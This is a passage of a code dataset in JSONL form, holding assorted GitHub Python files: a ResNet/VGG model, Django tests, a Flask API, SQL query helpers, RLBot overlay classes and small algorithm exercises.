padding=(1, 1), kernel_size=(3, 3)\n )\n self.conv1_2 = nn.Conv2d(\n 32, 64, stride=(1, 1), padding=(1, 1), kernel_size=(3, 3)\n )\n\n # Conv2_x\n self.conv2_pool = nn.MaxPool2d(kernel_size=(2, 2), stride=(2, 2), padding=0)\n self.conv2_resnet1 = ResnetBlock(in_channels=64, out_channels=128)\n # self.conv2_resnet2 = ResnetBlock(in_channels=128, out_channels=128)\n self.conv2_1 = nn.Conv2d(\n 128, 128, stride=(1, 1), padding=(1, 1), kernel_size=(3, 3)\n )\n\n # Conv3_x\n self.conv3_pool = nn.MaxPool2d(2, stride = 2, padding = 0)\n self.conv3_1 = ResnetBlock(in_channels=128, out_channels=256)\n self.conv3_2 = ResnetBlock(in_channels=256, out_channels=256)\n\n # Conv4_x\n self.conv4_pool = nn.MaxPool2d(2, stride=(2,1), padding=(0,1))\n self.conv4_1 = ResnetBlock(in_channels=256, out_channels=512)\n self.conv4_2 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_3 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_4 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_5 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv4_11 = nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1)\n\n # Conv5_x\n self.conv5_1 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv5_2 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv5_3 = ResnetBlock(in_channels=512, out_channels=512)\n self.conv5_7 = nn.Conv2d(512, 512, kernel_size=2, stride=(2,1), padding=(0,1))\n self.conv5_8 = nn.Conv2d(512, 512, kernel_size=2, stride=(1,1), padding = 0)\n\n\n\n\n def forward(self, x):\n out = self.conv1_1(x)\n out = self.conv1_2(out)\n\n out = self.conv2_pool(out)\n out = self.conv2_resnet1(out)\n out = self.conv2_1(out)\n\n out = self.conv3_pool(out)\n out = self.conv3_1(out)\n out = self.conv3_2(out)\n\n out = self.conv4_pool(out)\n out = self.conv4_1(out)\n out = self.conv4_2(out)\n out = self.conv4_3(out)\n out = self.conv4_4(out)\n out = self.conv4_5(out)\n out = self.conv4_11(out)\n\n out = self.conv5_1(out)\n out = self.conv5_2(out)\n out = self.conv5_3(out)\n out = self.conv5_7(out)\n out = self.conv5_8(out)\n return out\n\ndef main():\n summary(ResnetBackBone().to('cpu'), (1, 64, 256), batch_size=1)\n\nif __name__ == '__main__':\n main()","repo_name":"rogAKAnn/image-2-latex","sub_path":"image2latex/resnet32.py","file_name":"resnet32.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"7717114536","text":"dp = {0:0, 1:1, 2:1}\n\ndef fib (n, k):\n\tif n in dp:\n\t\treturn dp[n]\n\telse:\n\t\tdp[n] = fib(n-1,k) + k*fib(n-2,k)\n\t\treturn dp[n]\n\nn, k = map(int,input().split(\" \"))\nfib(n,k)\nprint(dp[n])","repo_name":"nadide/Bioinformatics_Lab","sub_path":"rosalind/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"9877386379","text":"import datetime\n\nfrom aka.utils import datefromstring, datetostring\nfrom aka.utils import format_filesize\nfrom django.test import SimpleTestCase\n\n\nclass BasicTestCase(SimpleTestCase):\n def setUp(self):\n pass\n\n # Test module utils.\n # -------------------\n def test_utils_1(self):\n datestring = '2018-05-13'\n dd = datefromstring(datestring)\n self.assertTrue(type(dd) is datetime.datetime)\n self.assertEqual(dd.year, 2018)\n self.assertEqual(dd.month, 5)\n self.assertEqual(dd.day, 13)\n\n def test_utils_2(self):\n try:\n datefromstring('2018-20-20')\n self.fail('Failed to catch ValueError.')\n except ValueError:\n self.assertTrue(True)\n\n def test_utils_3(self):\n try:\n datefromstring('2018-02-50')\n self.fail('Failed to catch ValueError.')\n except ValueError:\n self.assertTrue(True)\n\n def test_utils_4(self):\n try:\n datefromstring('2018-02')\n self.fail('Failed to catch ValueError.')\n except ValueError:\n self.assertTrue(True)\n\n def test_utils_5(self):\n datestring1 = '2018-02-01'\n date = datefromstring(datestring1)\n datestring2 = datetostring(date)\n self.assertEqual(datestring1, datestring2)\n\n def test_format_filesize(self):\n self.assertEqual(\"100 B\", format_filesize(100))\n self.assertEqual(\"1.0 kB\", format_filesize(1000))\n self.assertEqual(\"1.5 kB\", format_filesize(1500))\n self.assertEqual(\"12.3 MB\", format_filesize(12345678))\n self.assertEqual(\"12.35 MB\", format_filesize(12345678, 2))\n self.assertEqual(\"1.0 MiB\", format_filesize(1024**2, 1, False))\n self.assertEqual(\"1.5 MiB\", format_filesize(1.5*1024**2, 1, False))\n self.assertEqual(\"1.0 GiB\", format_filesize(1024**3, SI=False))\n self.assertEqual(\"1.0 GB\", format_filesize(1000**3, SI=True))\n","repo_name":"magenta-aps/aka-selvbetjening","sub_path":"backend/aka/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"9684273882","text":"def sort012(array, size):\n '''\n https://www.geeksforgeeks.org/sort-an-array-of-0s-1s-and-2s/\n '''\n low = 0\n mid = 0\n high = size - 1\n while mid <= high:\n if array[mid] == 0:\n array[low], array[mid] = array[mid], array[low]\n low = low + 1\n mid = mid + 1\n elif array[mid] == 1:\n mid = mid + 1\n else:\n array[mid], array[high] = array[high], array[mid]\n high = high - 1\n return array\n\n\narr = [0, 1, 1, 0, 1, 2, 1, 2, 0, 0, 0, 1]\narr = sort012(arr, len(arr))\n\nprint(arr)\n","repo_name":"jsjain/DSA_GeeksforGeeks_Random-utility-python-codes","sub_path":"geeksforgeeks/sort 0s, 1s and 2s.py","file_name":"sort 0s, 1s and 2s.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"24093546797","text":"from bs4 import BeautifulSoup\n\ndef parse_xml(file_name,table_name):\n with open(file_name, \"r\") as markup:\n soup = BeautifulSoup(markup, \"xml\")\n table = soup.find_all('table', {'name': table_name})\n \n ret = []\n\n with open(file_name, \"r\") as markup:\n soup = BeautifulSoup(markup, \"xml\")\n table = soup.find_all('table', {'name': table_name})\n for row in table:\n column = row.find_all('column')\n ret_dict = {}\n for value in column:\n key = value['name']\n ret_dict.setdefault(key,[]).append(value.text)\n ret.append(ret_dict)\n return ret\n","repo_name":"JohnlNguyen/xml-parser","sub_path":"parse/parse_xml.py","file_name":"parse_xml.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"5552479522","text":"# A basic, and pretty fast (for python) way of generating all kmers of length x (only argument)\n\"\"\"\nSome speed benchmarks:\n$ for i in {1..10..2} ; do\n echo \"k =\" $i\n time python mer-permutations.py $i > /dev/null\n done\n\nk = 1\nreal 0m0.022s\nuser 0m0.016s\nsys 0m0.004s\n\nk = 3\nreal 0m0.022s\nuser 0m0.004s\nsys 0m0.016s\n\nk = 5\nreal 0m0.024s\nuser 0m0.016s\nsys 0m0.004s\n\nk = 7\nreal 0m0.054s\nuser 0m0.048s\nsys 0m0.004s\n\nk = 9\nreal 0m0.519s\nuser 0m0.504s\nsys 0m0.016s\n\"\"\"\n\nimport sys\nimport itertools\n\ncombinations = itertools.product(\n *itertools.repeat([\"A\", \"T\", \"C\", \"G\"], int(sys.argv[1]))\n)\nfor i, k in enumerate(combinations):\n # print('>Kmer_' + str(i) + '\\n' + ''.join(k) )\n print(\"\".join(k))\n","repo_name":"jrjhealey/bioinfo-tools","sub_path":"kmer-permutations.py","file_name":"kmer-permutations.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"82"}
+{"seq_id":"25741916837","text":"\"\"\"`argparse` to create a cli\"\"\"\nimport argparse\nimport os\nimport sqlite3\n\nfrom parse_quran_db import q_trans_main, q_ar_trans, \\\n translations_data, chapters_data, multi_lang_chapters, lang_data\nfrom parse_hadith_db import hadiths\n\nparser = argparse.ArgumentParser(description=\"Formats and saves quran and hadith data\")\n\nparser.add_argument(\"--q_trans_main\", action=\"store_true\")\nparser.add_argument(\"--q_ar_trans\", action=\"store_true\")\nparser.add_argument(\"--translations\", action=\"store_true\")\nparser.add_argument(\"--chapters\", action=\"store_true\")\nparser.add_argument(\"--multi_lang_chapters\", action=\"store_true\")\nparser.add_argument(\"--lang\", action=\"store_true\")\n\nparser.add_argument(\"--hadiths\", action=\"store_true\")\n\nargs = parser.parse_args()\n\ntry:\n os.mkdir('../quran')\n os.mkdir('../hadith')\nexcept:\n pass\n\nif args.q_trans_main or args.q_ar_trans or args.translations or args.chapters or args.multi_lang_chapters or args.lang:\n conn = sqlite3.connect(\"../quran/quran.db\");\n conn_c = conn.cursor()\n\n\nif args.q_trans_main:\n q_trans_main()\n\nif args.q_ar_trans:\n q_ar_trans()\n\nif args.translations:\n translations_data()\n\nif args.chapters:\n chapters_data()\n\nif args.multi_lang_chapters:\n multi_lang_chapters()\n\nif args.lang:\n lang_data()\n\nif args.hadiths:\n hadiths()\n\nif args.q_trans_main or args.q_ar_trans or args.translations or args.chapters or args.multi_lang_chapters or args.lang:\n conn_c.close()\n conn.close()\n","repo_name":"Islamic-OS/qitab_data_repo","sub_path":"parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"32369998823","text":"from ah.website.db_con import DbCon as db_con\nimport pandas as pd\n\noa_con = db_con.con_oa\ndb_gp = db_con.con_gp\n\n\n# 获取源GP 所有表信息\ndef gp_tables():\n gp_table_query = f\"\"\"\n SELECT \n table_name,\n table_catalog \n FROM information_schema.tables\n \"\"\"\n gp_table_detail = pd.read_sql(gp_table_query, db_gp)\n return gp_table_detail\n\n\n# 获取源OA 所有表信息\ndef oa_tables():\n oa_table_query = f\"\"\"\n SELECT \n table_name,\n table_catalog \n FROM information_schema.tables\n \"\"\"\n oa_table_detail = pd.read_sql(oa_table_query, oa_con)\n return oa_table_detail\n\n\n# 获取所有任务信息\ndef current_system_tasks():\n current_system_query = f'''\n select \n job_name,\n job_db,\n job_sql,\n job_status,\n job_owner,\n job_desc,\n job_frequency,\n job_time,\n job_type,\n job_level,\n level_sort,\n job_sql \n from ods_task_job_schedule_pool\n '''\n current_system_tasks_detail = pd.read_sql(current_system_query, db_gp)\n return current_system_tasks_detail\n\n\n# 获取所有任务对应log信息\ndef current_system_logs():\n current_system_query = f'''\n SELECT \n job_name,\n job_result,\n job_db,\n job_level,\n job_owner\n FROM ods_task_job_execute_log\n where date(end_time)=date(current_date)\n '''\n current_system_logs_detail = pd.read_sql(current_system_query, db_gp)\n return current_system_logs_detail\n","repo_name":"Aapche5200/dataflow","sub_path":"website/templates/data_work/getalltable_info.py","file_name":"getalltable_info.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"35822931247","text":"# word = input('Input a word:')\n# word_list = list(word)\n# print(word_list)\n# for i in range(len(word_list)):\n# print(word_list.pop(), end='') #end는 줄바꿈 없이. 전체주석 ctrl + /\n#\n\n# Decimal to\nTwo_list = list()\nDeci = 1\ncnt = 0\nwhile cnt != 10:\n Deci = int(input(\"Input a decimal:\"))\n cnt += 1\n if (Deci > 1):\n while Deci != 0:\n Deci_re = Deci % 2\n Deci = Deci // 2\n Two_list.append(str(Deci_re))\n for i in range(len(Two_list)):\n print(Two_list.pop(),end='')\n print('\\n')\n else : break\n\n# Two = 1\n# cnt = 0\n# while cnt != 10:\n# Two = int(input(\"Input a Two:\"))\n# Two_list = list(str(Two))\n# cnt += 1\n# deci = 0\n# if (Two != 0):\n# for i in range(len(Two_list)):\n# deci = deci + (Two_list(i))*2**i\n# print(deci)\n# else : break\n","repo_name":"HyunchanMOON/Python","sub_path":"stack_example.py","file_name":"stack_example.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"25982556255","text":"from auth import AuthError\nfrom flask import Flask, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate, migrate\nfrom flask_cors import CORS\nfrom actors_blueprint import actors_blueprint\nfrom castings_blueprint import castings_blueprint\nfrom genders_blueprint import genders_blueprint\nfrom movies_blueprint import movies_blueprint\nfrom models import get_migrate, setup_db, get_db\nimport os\n\ndb = SQLAlchemy()\nmigrate = Migrate()\ntest_mode = os.getenv('TEST_MODE')\n\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__)\n app.register_blueprint(actors_blueprint)\n app.register_blueprint(movies_blueprint)\n app.register_blueprint(genders_blueprint)\n app.register_blueprint(castings_blueprint)\n CORS(app)\n if test_mode == 1:\n setup_db(app, test_mode=True)\n else:\n setup_db(app)\n db = get_db()\n migrate = get_migrate()\n\n return app\n\n\nAPP = create_app(test_config=test_mode)\n\n\n@APP.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Headers',\n 'Content-Type, Authorization, true')\n response.headers.add(\n 'Access-Control-Allow-Methods', 'GET, OPTIONS, PATCH, DELETE, POST')\n return response\n\n\n@APP.errorhandler(404)\ndef error_404(error):\n message = 'not found'\n return jsonify({\n 'success': False,\n 'error': 404,\n 'message': message.lower()\n }), 404\n\n\n@APP.errorhandler(401)\ndef error_401(error):\n message = 'unauthorized'\n return jsonify({\n 'success': False,\n 'error': 401,\n 'message': message.lower()\n }), 401\n\n\n@APP.errorhandler(403)\ndef error_403(error):\n message = 'forbidden'\n return jsonify({\n 'success': False,\n 'error': 403,\n 'message': message.lower()\n }), 401\n\n\n@APP.errorhandler(405)\ndef error_405(error):\n message = 'not allowed'\n return jsonify({\n 'success': False,\n 'error': 405,\n 'message': message.lower()\n }), 405\n\n\n@APP.errorhandler(422)\ndef error_422(error):\n message = 'unprocessable'\n return jsonify({\n 'success': False,\n 'error': 422,\n 'message': message.lower()\n }), 422\n\n\n@APP.errorhandler(400)\ndef error_400(error):\n message = 'bad request'\n return jsonify({\n 'success': False,\n 'error': 400,\n 'message': message.lower()\n }), 400\n\n\n@APP.errorhandler(500)\ndef error_500(error):\n message = 'server error'\n return jsonify({\n 'success': False,\n 'error': 500,\n 'message': message.lower()\n }), 500\n\n\n@APP.errorhandler(AuthError)\ndef auth_error(error):\n error_data = error.format()\n return jsonify({\n 'success': False,\n 'error': error_data['code'],\n 'message': error_data['message']\n }), error_data['code']\n\n\nif __name__ == '__main__':\n APP.run(host='0.0.0.0', port=8080, debug=True)\n","repo_name":"GiftXXVI/FSND_Capstone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"25372690041","text":"\nimport unittest\n\nfrom ..pintaformas.inicio.operaciones_eventos.tipos import AtributoPygameEvent\nfrom ..pintaformas.dependencias import nombres_pygame, crear_evento_pygame\nfrom ..pintaformas.inicio.operaciones_eventos.posproceso_eventos import PostprocesadorEventos\n\nDictPygameEvent = dict[str, AtributoPygameEvent]\n\nDICC_MOVIMIENTO_RATON: DictPygameEvent = dict(\n pos=(44, 486), rel=(44, -61), buttons=(0, 0, 0)\n)\n\n\nclass TestPrepararEventosParaGuardado(unittest.TestCase):\n\n def test_convertir_formato_eventos(self) -> None:\n\n lista_1 = [\n crear_evento_pygame(nombres_pygame.MOUSEMOTION, DICC_MOVIMIENTO_RATON),\n crear_evento_pygame(nombres_pygame.ACTIVEEVENT, dict(gain=1, state=1)),\n\n ]\n lista_2 = [\n crear_evento_pygame(nombres_pygame.KEYDOWN, dict(unicode='t', key=116, mod=0, scancode=20)),\n\n ]\n eventos_totales = [\n lista_1,\n lista_2,\n ]\n salida_esperada = [\n [\n {\n 'tipo': nombres_pygame.MOUSEMOTION,\n 'dicc': DICC_MOVIMIENTO_RATON\n },\n {\n 'tipo': nombres_pygame.ACTIVEEVENT,\n 'dicc': dict(gain=1, state=1)\n },\n ],\n [\n {\n 'tipo': nombres_pygame.KEYDOWN,\n 'dicc': dict(unicode='t', key=116, mod=0, scancode=20)\n },\n ],\n ]\n posprocesador = PostprocesadorEventos(eventos_totales)\n self.assertEqual(\n posprocesador.convertir_formato_eventos(), salida_esperada\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"gulliver-madrid/pintaformas","sub_path":"src/tests/test_inicio_preparar_eventos.py","file_name":"test_inicio_preparar_eventos.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"25372552851","text":"from typing import Union, TypedDict\n\nfrom ...dependencias import PygameEvent\nfrom ...core.tipos import Tuple2Int, Tuple3Int\n\nValorBasico = Union[str, int]\nValorOrigenJSON = Union[ValorBasico, list[int], None]\nAtributoPygameEvent = Union[ValorBasico, Tuple2Int, Tuple3Int, None]\n\nDiccEvento = dict[str, AtributoPygameEvent]\n\nDiccionarioStrObject = dict[str, object]\n\n\nclass EventoJson(TypedDict):\n '''Contiene listas'''\n tipo: int\n dicc: dict[str, ValorOrigenJSON]\n\n\nclass EventoParaJson(TypedDict):\n '''Contiene tuplas'''\n tipo: int\n dicc: dict[str, AtributoPygameEvent]\n\n\n# Los eventos JSON contienen listas en vez de tuplas\nEventosJSONDeUnCiclo = list[EventoJson]\nEventosJSONTotales = list[EventosJSONDeUnCiclo]\n\n# Los eventos para JSON contienen tuplas\nListaTotalEventosParaJSON = list[list[EventoParaJson]]\n\nEventosDeUnCiclo = list[PygameEvent]\nListaTotalDeEventos = list[EventosDeUnCiclo]\n","repo_name":"gulliver-madrid/pintaformas","sub_path":"src/pintaformas/inicio/operaciones_eventos/tipos.py","file_name":"tipos.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"74187984267","text":"import random\nimport string\n\nimport itertools\nfrom dataclasses import dataclass\nfrom typing import List, Dict\n\nfrom rlbot.utils.structures.game_data_struct import GameTickPacket, PlayerInfo\nfrom rlbot_action_client.models import BotAction\nfrom twitchbroker.action_and_server_id import AvailableActionsAndServerId, ActionAndServerId\n\n\nclass NumberedAction:\n def __init__(self, number: int, action: BotAction):\n self.number = number\n self.action = action\n\n\n@dataclass\nclass CommandAcknowledgement:\n username: str\n description: str\n status: str\n id: str\n voters: List[str]\n\n\n\n@dataclass\nclass VoteTracker:\n votes_needed: int\n original_menu_id: str\n voters: List[str]\n start_time: float\n deadline: float # The game seconds (instant in time) at which this vote tracker should expire\n entity_name: str # This is used to retrieve config. Useful in situations where we're replacing the vote tracker with a new one.\n five_second_warning: bool # The UI can use this to start flashing when we're close to the deadline.\n\n def register_vote(self, username):\n if username not in self.voters:\n self.voters.append(username)\n\n def has_needed_votes(self):\n return len(self.voters) >= self.votes_needed\n\n\ndef create_section(act_and_server: AvailableActionsAndServerId, counter: itertools.count):\n return CommandSection(header=act_and_server.available_actions.entity_name,\n entity_name=act_and_server.available_actions.entity_name,\n action_server_id=act_and_server.action_server_id,\n actions=[NumberedAction(next(counter), a) for a in\n act_and_server.available_actions.available_actions])\n\n\ndef generate_menu_id():\n return ''.join(random.choice(string.ascii_uppercase) for _ in range(2))\n\n\ndef generate_menu(list: List[AvailableActionsAndServerId], menu_id: str,\n recent_commands: List[CommandAcknowledgement], packet: GameTickPacket,\n vote_trackers: Dict[str, VoteTracker]) -> 'OverlayData':\n\n raw_players = [packet.game_cars[i] for i in range(packet.num_cars)]\n players = [PlayerData(p.name, p.team) for p in raw_players if p.name]\n counter = itertools.count(1)\n return OverlayData(menu_id=menu_id, sections=[create_section(s, counter) for s in list],\n recent_commands=recent_commands, players=players, vote_trackers=vote_trackers,\n is_menu_active=packet.game_info.is_round_active, chat_users_involved=[],\n creation_time=packet.game_info.seconds_elapsed)\n\n\n@dataclass\nclass CommandSection:\n header: str\n entity_name: str # Probably the same as the header for now.\n action_server_id: str\n actions: List[NumberedAction]\n\n\n@dataclass\nclass PlayerData:\n name: str\n team: int\n\n\n@dataclass\nclass OverlayData:\n menu_id: str\n sections: List[CommandSection]\n recent_commands: List[CommandAcknowledgement]\n players: List[PlayerData]\n vote_trackers: Dict[str, VoteTracker]\n is_menu_active: bool\n chat_users_involved: List[str]\n creation_time: float\n\n def retrieve_choice(self, choice_num: int) -> ActionAndServerId:\n for section in self.sections:\n for action in section.actions:\n if action.number == choice_num:\n return ActionAndServerId(action.action, section.entity_name, section.action_server_id)\n return None\n\n def num_actions(self) -> int:\n count = 0\n for section in self.sections:\n count += len(section.actions)\n return count\n\n\ndef serialize_for_overlay(o):\n if hasattr(o, 'to_dict'):\n return o.to_dict()\n return o.__dict__\n","repo_name":"RLBot/RLBotPack","sub_path":"RLBotPack/TwitchInteraction/TwitchBroker/twitchbroker/overlay_data.py","file_name":"overlay_data.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"82"}
+{"seq_id":"2716146213","text":"# import networkx as nx\nimport GraphCreator\nimport matplotlib.pyplot as plt\nimport pylab\n\"\"\"\nScript to calculate the average salary of every actor with age ranges of 10 years starting from 0\nReturns a scatter plot of the values to spot any trends\n\"\"\"\n\n\ng = GraphCreator.json_to_graph(\"data.json\")\n\nsums = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\ncounts = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\nfor i in g.nodes(data=True):\n offset = -1\n if i[1]['json_class'] == 'Actor':\n if i[1]['age'] < 0:\n continue\n elif i[1]['age'] < 10:\n offset = 0\n elif i[1]['age'] < 20:\n offset = 1\n elif i[1]['age'] < 30:\n offset = 2\n elif i[1]['age'] < 40:\n offset = 3\n elif i[1]['age'] < 50:\n offset = 4\n elif i[1]['age'] < 60:\n offset = 5\n elif i[1]['age'] < 70:\n offset = 6\n elif i[1]['age'] < 80:\n offset = 7\n elif i[1]['age'] < 90:\n offset = 8\n elif i[1]['age'] < 100:\n offset = 9\n\n if offset > 0:\n sums[offset] += i[1]['total_gross']\n counts[offset] += 1\n\naverages = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nfor i in range(0, 9):\n if counts[i] is not 0:\n averages[i] = (sums[i]/counts[i])\n\nages = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nplt.figure(figsize=(17, 6))\nplt.scatter(ages, averages)\npylab.xlabel('Ages')\npylab.ylabel('Average Gross')\n\nlabels = ['0-10', '10-20', '20-30', '30-40', '40-50', '50-60', '60-70', '70-80', '80-90', '90-100', ]\nplt.ylim(-100, 60534868)\nplt.xticks(ages, labels)\nplt.show()\n","repo_name":"shrujancheruku/Programming-Studio","sub_path":"Assignment2.1/AgeSalary.py","file_name":"AgeSalary.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40599790292","text":"import random\ndef sanitize_phone_number(phone):\n new_phone = (\n phone.strip()\n .removeprefix(\"+\")\n .replace(\"(\", \"\")\n .replace(\")\", \"\")\n .replace(\"-\", \"\")\n .replace(\" \", \"\")\n )\n print (new_phone)\n\n list_phones = []\n for i in range(10):\n list_phones.append(new_phone)\n \n print (list_phones)\n\nsanitize_phone_number(\"+45645 64-64\")\n\n\n\n#def get_phone_numbers_for_countries(list_phones):\n\n\n#get_phone_numbers_for_countries():","repo_name":"evgeniytr1509/Dell","sub_path":"phone.py","file_name":"phone.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"33242500324","text":"from KongMing.Archiver.SingleNNArchiver import SingleNNArchiver\nfrom KongMing.ModelFactory.SingleNNModelFactory import SingleNNModelFactory\nfrom KongMing.Trainer.VGGTrainer import VGGTrainer\n\nfrom KongMing.Models.BaseNNModel import BaseNNModel\n\nfrom KongMing.Utils.CaseInsensitiveContainer import CaseInsensitiveList, CaseInsensitiveDict\n\nimport torch\nimport torchvision\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.models.vgg import VGG16_Weights\n\nclass VGG16(BaseNNModel):\n def __init__(self, inNumClasses=10):\n super().__init__()\n self.features = nn.Sequential(\n # Block 1\n nn.Conv2d(3, 64, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 2\n nn.Conv2d(64, 128, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(128, 128, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 3\n nn.Conv2d(128, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 4\n nn.Conv2d(256, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n\n # Block 5\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n )\n\n self.avgpool = nn.AdaptiveAvgPool2d((7, 7))\n\n self.classifier = nn.Sequential(\n nn.Linear(512 * 7 * 7, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, inNumClasses),\n )\n\n def forward(self, inX):\n inX = self.features(inX)\n inX = self.avgpool(inX)\n inX = torch.flatten(inX, 1)\n inX = self.classifier(inX)\n return inX\n\nclass VGGModelFactory(SingleNNModelFactory) :\n def __init__(\n self,\n inNumClasses,\n inLearningRate,\n inModelRootFolderPath\n ) :\n self.VGG = VGG16(inNumClasses)\n\n Trainer = VGGTrainer(inLearningRate)\n\n super().__init__(self.VGG, Trainer, inModelRootFolderPath)\n\n print(\"Sum of Params:{:,} \".format(self._SumParameters(self.VGG)))\n\n def NewTrain(self, inDataLoader, inEpochIterCount : int, inArgs : CaseInsensitiveList = None, inKVArgs : CaseInsensitiveDict = None) -> None:\n if \"LoadPretrained\" in inArgs:\n print(\"Load Pretranined Begin........\")\n PreTrainedModel = torchvision.models.vgg16(weights=VGG16_Weights.IMAGENET1K_V1)\n print(\"\\t Load Features\")\n self.VGG.features.load_state_dict(PreTrainedModel.features.state_dict())\n print(\"\\t Load Avgpool\")\n self.VGG.avgpool.load_state_dict(PreTrainedModel.avgpool.state_dict())\n for i in range(6):\n print(\"\\t Load classifier[{}]\".format(i))\n self.VGG.classifier[i].load_state_dict(PreTrainedModel.classifier[i].state_dict())\n print(\"Load Pretranined Finished........\")\n\n super().NewTrain(inDataLoader=inDataLoader, inEpochIterCount=inEpochIterCount, inArgs=inArgs, inKVArgs=inKVArgs)\n\n def Eval(self, inEpoch, inArgs : CaseInsensitiveList = None, inKVArgs : CaseInsensitiveDict = None) :\n if (super().Eval(inEpoch, inArgs, inKVArgs) == False) :\n return False\n\n TestDataLoader = inKVArgs.get(\"inDataLoader\")\n if (TestDataLoader is None) :\n return False\n\n self.VGG.eval()\n\n correct = 0\n total = 0\n with torch.no_grad():\n for data in TestDataLoader:\n images, labels = data[0].to(self.Device), data[1].to(self.Device)\n outputs = self.VGG(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n print('Accuracy of the network on the 10000 test images: %d %%' % (100 * correct / total))\n\n return True\n","repo_name":"shanhaobo/StudyAI","sub_path":"KongMing/ModelFactory/Classifier/VGGModelFactory.py","file_name":"VGGModelFactory.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
